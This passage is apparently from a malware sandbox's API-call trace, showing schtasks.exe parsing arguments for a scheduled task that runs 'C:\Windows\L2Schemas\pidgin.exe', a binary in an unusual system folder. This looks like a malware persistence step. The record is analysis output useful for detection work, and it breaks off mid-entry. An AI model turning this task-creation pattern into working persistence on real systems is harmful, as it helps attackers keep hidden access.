[0112.025] lstrlenW (lpString="tr") returned 2 [0112.025] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.025] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|u|") returned 3 [0112.025] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.025] lstrlenW (lpString="|u|") returned 3 [0112.025] lstrlenW (lpString="|tr|") returned 4 [0112.025] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.025] lstrlenW (lpString="p") returned 1 [0112.025] lstrlenW (lpString="p") returned 1 [0112.025] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.025] lstrlenW (lpString="tr") returned 2 [0112.025] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.025] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|p|") returned 3 [0112.025] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.025] lstrlenW (lpString="|p|") returned 3 [0112.026] lstrlenW (lpString="|tr|") returned 4 [0112.026] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.026] lstrlenW (lpString="ru") returned 2 [0112.026] lstrlenW (lpString="ru") returned 2 [0112.026] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.026] lstrlenW (lpString="tr") returned 2 [0112.026] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.026] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ru|") returned 4 [0112.026] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.026] lstrlenW (lpString="|ru|") returned 4 [0112.026] lstrlenW (lpString="|tr|") returned 4 [0112.026] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0112.026] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.026] lstrlenW (lpString="rp") returned 2 [0112.026] lstrlenW (lpString="rp") returned 2 [0112.026] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.026] lstrlenW (lpString="tr") returned 2 [0112.026] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.026] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rp|") returned 4 [0112.026] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.026] lstrlenW (lpString="|rp|") returned 4 [0112.026] lstrlenW (lpString="|tr|") returned 4 [0112.026] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0112.026] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.026] lstrlenW (lpString="sc") returned 2 [0112.026] lstrlenW (lpString="sc") returned 2 [0112.026] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.027] lstrlenW (lpString="tr") returned 2 [0112.027] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.027] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.027] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.027] lstrlenW (lpString="|sc|") returned 4 [0112.027] lstrlenW (lpString="|tr|") returned 4 [0112.027] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0112.027] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.027] lstrlenW (lpString="mo") returned 2 [0112.027] lstrlenW (lpString="mo") returned 2 [0112.027] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.027] lstrlenW (lpString="tr") returned 2 [0112.027] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.027] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|mo|") returned 4 [0112.027] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.027] lstrlenW (lpString="|mo|") returned 4 [0112.027] lstrlenW (lpString="|tr|") returned 4 [0112.027] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0112.027] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.027] lstrlenW (lpString="d") returned 1 [0112.027] lstrlenW (lpString="d") returned 1 [0112.027] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.027] lstrlenW (lpString="tr") returned 2 [0112.027] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.028] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|d|") returned 3 [0112.028] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.028] lstrlenW (lpString="|d|") returned 3 [0112.028] lstrlenW (lpString="|tr|") returned 4 [0112.028] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.028] lstrlenW (lpString="m") returned 1 [0112.028] lstrlenW (lpString="m") returned 1 [0112.028] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.028] lstrlenW (lpString="tr") returned 2 [0112.028] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.028] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|m|") returned 3 [0112.028] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.028] lstrlenW (lpString="|m|") returned 3 [0112.028] lstrlenW (lpString="|tr|") returned 4 [0112.028] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.028] lstrlenW (lpString="i") returned 1 [0112.028] lstrlenW (lpString="i") returned 1 [0112.028] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.028] lstrlenW (lpString="tr") returned 2 [0112.028] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.028] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|i|") returned 3 [0112.028] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.028] lstrlenW (lpString="|i|") returned 3 [0112.028] lstrlenW (lpString="|tr|") returned 4 [0112.029] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.029] lstrlenW (lpString="tn") returned 2 [0112.029] lstrlenW (lpString="tn") returned 2 [0112.029] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.029] lstrlenW (lpString="tr") returned 2 [0112.029] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.029] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.029] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.029] lstrlenW (lpString="|tn|") returned 4 [0112.029] lstrlenW (lpString="|tr|") returned 4 [0112.029] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0112.029] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.029] lstrlenW (lpString="tr") returned 2 [0112.029] lstrlenW (lpString="tr") returned 2 [0112.029] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.029] lstrlenW (lpString="tr") returned 2 [0112.029] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.029] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.029] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.029] lstrlenW (lpString="|tr|") returned 4 [0112.029] lstrlenW (lpString="|tr|") returned 4 [0112.029] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0112.029] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.029] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.029] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.029] lstrlenW (lpString="-/") returned 2 [0112.029] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0112.029] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.029] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.030] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.030] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.030] StrChrIW (lpStart="'C:\\Windows\\L2Schemas\\pidgin.exe'", wMatch=0x3a) returned=":\\Windows\\L2Schemas\\pidgin.exe'" [0112.030] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.030] _memicmp (_Buf1=0x144ec9142a0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.030] _memicmp (_Buf1=0x144ec91ab10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.030] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.030] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.030] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.030] lstrlenW (lpString="'C") returned 2 [0112.030] lstrlenW (lpString="-/") returned 2 [0112.030] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0112.030] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.030] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.030] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.030] _memicmp (_Buf1=0x144ec91a950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.030] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.030] GetProcessHeap () returned 0x144ec910000 [0112.030] HeapValidate (hHeap=0x144ec910000, dwFlags=0x0, lpMem=0x144ec91aad0) returned 1 [0112.030] GetProcessHeap () returned 0x144ec910000 [0112.030] RtlReAllocateHeap (Heap=0x144ec910000, Flags=0xc, Ptr=0x144ec91aad0, Size=0x44) returned 0x144ec91bdd0 [0112.030] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.030] lstrlenW (lpString=" \x09") returned 2 [0112.030] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0112.030] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0112.030] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0112.030] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0112.030] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0112.030] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0112.030] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0112.031] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0112.031] GetLastError () returned 0x0 [0112.031] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.031] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.032] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.032] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.032] lstrlenW (lpString="/rl") returned 3 [0112.032] lstrlenW (lpString="-/") returned 2 [0112.032] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.032] lstrlenW (lpString="create") returned 6 [0112.032] lstrlenW (lpString="create") returned 6 [0112.032] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.032] lstrlenW (lpString="rl") returned 2 [0112.032] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.032] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|create|") returned 8 [0112.032] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.032] lstrlenW (lpString="|create|") returned 8 [0112.032] lstrlenW (lpString="|rl|") returned 4 [0112.032] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0112.032] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.032] lstrlenW (lpString="?") returned 1 [0112.032] lstrlenW (lpString="?") returned 1 [0112.032] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.032] lstrlenW (lpString="rl") returned 2 [0112.032] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.032] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|?|") returned 3 [0112.032] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.032] lstrlenW (lpString="|?|") returned 3 [0112.032] lstrlenW (lpString="|rl|") returned 4 [0112.032] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.032] lstrlenW (lpString="s") returned 1 [0112.032] lstrlenW (lpString="s") returned 1 [0112.032] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.033] lstrlenW (lpString="rl") returned 2 [0112.033] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.033] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|s|") returned 3 [0112.033] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.033] lstrlenW (lpString="|s|") returned 3 [0112.033] lstrlenW (lpString="|rl|") returned 4 [0112.033] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.033] lstrlenW (lpString="u") returned 1 [0112.033] lstrlenW (lpString="u") returned 1 [0112.033] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.033] lstrlenW (lpString="rl") returned 2 [0112.033] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.033] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|u|") returned 3 [0112.033] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.033] lstrlenW (lpString="|u|") returned 3 [0112.033] lstrlenW (lpString="|rl|") returned 4 [0112.033] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.033] lstrlenW (lpString="p") returned 1 [0112.033] lstrlenW (lpString="p") returned 1 [0112.033] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.033] lstrlenW (lpString="rl") returned 2 [0112.033] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.033] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|p|") returned 3 [0112.033] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.033] lstrlenW (lpString="|p|") returned 3 [0112.033] lstrlenW (lpString="|rl|") returned 4 [0112.033] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.034] lstrlenW (lpString="ru") returned 2 [0112.034] lstrlenW (lpString="ru") returned 2 [0112.034] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.034] lstrlenW (lpString="rl") returned 2 [0112.034] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.034] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ru|") returned 4 [0112.034] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.034] lstrlenW (lpString="|ru|") returned 4 [0112.034] lstrlenW (lpString="|rl|") returned 4 [0112.034] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0112.034] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.034] lstrlenW (lpString="rp") returned 2 [0112.034] lstrlenW (lpString="rp") returned 2 [0112.034] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.034] lstrlenW (lpString="rl") returned 2 [0112.034] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.034] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rp|") returned 4 [0112.034] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.034] lstrlenW (lpString="|rp|") returned 4 [0112.034] lstrlenW (lpString="|rl|") returned 4 [0112.034] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0112.034] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.034] lstrlenW (lpString="sc") returned 2 [0112.034] lstrlenW (lpString="sc") returned 2 [0112.034] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.034] lstrlenW (lpString="rl") returned 2 [0112.034] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.035] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.035] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.035] lstrlenW (lpString="|sc|") returned 4 [0112.035] lstrlenW (lpString="|rl|") returned 4 [0112.035] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0112.035] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.035] lstrlenW (lpString="mo") returned 2 [0112.035] lstrlenW (lpString="mo") returned 2 [0112.035] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.035] lstrlenW (lpString="rl") returned 2 [0112.035] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.035] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|mo|") returned 4 [0112.035] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.035] lstrlenW (lpString="|mo|") returned 4 [0112.035] lstrlenW (lpString="|rl|") returned 4 [0112.035] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0112.035] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.035] lstrlenW (lpString="d") returned 1 [0112.035] lstrlenW (lpString="d") returned 1 [0112.035] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.035] lstrlenW (lpString="rl") returned 2 [0112.035] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.035] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|d|") returned 3 [0112.035] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.035] lstrlenW (lpString="|d|") returned 3 [0112.035] lstrlenW (lpString="|rl|") returned 4 [0112.035] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.035] lstrlenW (lpString="m") returned 1 [0112.036] lstrlenW (lpString="m") returned 1 [0112.036] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.036] lstrlenW (lpString="rl") returned 2 [0112.036] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.036] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|m|") returned 3 [0112.036] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.036] lstrlenW (lpString="|m|") returned 3 [0112.036] lstrlenW (lpString="|rl|") returned 4 [0112.036] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.036] lstrlenW (lpString="i") returned 1 [0112.036] lstrlenW (lpString="i") returned 1 [0112.036] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.036] lstrlenW (lpString="rl") returned 2 [0112.036] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.036] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|i|") returned 3 [0112.036] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.036] lstrlenW (lpString="|i|") returned 3 [0112.036] lstrlenW (lpString="|rl|") returned 4 [0112.036] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.036] lstrlenW (lpString="tn") returned 2 [0112.036] lstrlenW (lpString="tn") returned 2 [0112.036] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.036] lstrlenW (lpString="rl") returned 2 [0112.036] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.036] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.036] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.036] lstrlenW (lpString="|tn|") returned 4 [0112.037] lstrlenW (lpString="|rl|") returned 4 [0112.037] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0112.037] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.037] lstrlenW (lpString="tr") returned 2 [0112.037] lstrlenW (lpString="tr") returned 2 [0112.037] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.037] lstrlenW (lpString="rl") returned 2 [0112.037] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.037] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.037] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.037] lstrlenW (lpString="|tr|") returned 4 [0112.037] lstrlenW (lpString="|rl|") returned 4 [0112.037] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0112.037] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.037] lstrlenW (lpString="st") returned 2 [0112.037] lstrlenW (lpString="st") returned 2 [0112.037] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.037] lstrlenW (lpString="rl") returned 2 [0112.037] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.037] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|st|") returned 4 [0112.037] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rl|") returned 4 [0112.037] lstrlenW (lpString="|st|") returned 4 [0112.037] lstrlenW (lpString="|rl|") returned 4 [0112.037] StrStrIW 